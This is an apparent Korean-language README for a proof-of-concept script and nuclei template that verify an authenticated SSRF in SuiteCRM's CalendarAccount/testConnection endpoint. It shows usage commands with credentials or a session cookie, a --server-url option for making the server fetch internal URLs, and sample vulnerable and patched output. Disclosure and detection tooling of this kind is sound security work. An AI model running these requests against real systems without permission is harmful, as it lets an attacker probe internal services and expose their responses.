
SuiteCRM <= 7.15.1, <= 8.10.1 - 인증된 SSRF
CalendarAccount/testConnection 엔드포인트와 caldav_basic 제공자를 통해 SuiteCRM에서 인증된 서버 측 요청 위조(SSRF)를 검증하는 개념 증명(PoC)입니다.
영향을 받는 SuiteCRM 버전은 인증된 사용자의 server_url을 수락하고 목적지를 검증하지 않은 채 cURL에 전달합니다. 이로 인해 루프백 또는 내부 HTTP 서비스로의 서버 측 요청이 가능해집니다. 취약한 릴리스에서는 연결 실패 응답이 오류 메시지에 가져온 서비스의 응답 데이터를 노출할 수도 있습니다.
이 PoC는 유효한 SuiteCRM 계정으로 인증하고 제어된 URL을 요청합니다. 기본 목적지인 http://127.0.0.1:1/은 닫힌 루프백 포트로, 외부 서비스를 요청하지 않고 SuiteCRM이 서버 측 연결을 시도했음을 입증합니다.
--server-url로 제공되는 모든 목적지를 테스트할 수 있는 권한타사 Python 패키지는 필요하지 않습니다.
SuiteCRM에 대한 기본 로컬 검증:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
기존 인증된 세션 사용:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
권한이 부여된 내부 또는 제어된 목적지 테스트:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM 기본 URL
-U, --username SuiteCRM 사용자 이름
-P, --password SuiteCRM 비밀번호
--cookie 인증된 SuiteCRM Cookie 헤더 값
--server-url SuiteCRM이 가져올 URL; 기본값: http://127.0.0.1:1/
--timeout HTTP 타임아웃(초); 기본값: 35
-k, --insecure TLS 인증서 검증 비활성화
취약한 버전은 제공된 URL을 처리한 후 연결 테스트 실패를 반환합니다:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
패치된 버전은 연결을 시도하기 전에 허용되지 않는 목적지를 거부합니다:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml은 username과 password로 인증하고, SuiteCRM 세션을 재사용하며, 동일한 닫힌 루프백 프로브를 수행합니다:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
템플릿은 다음으로 검증되었습니다:
nuclei -validate -t CVE-2026-69137.yaml
--server-url은 테스트 권한이 있는 목적지에만 사용하십시오.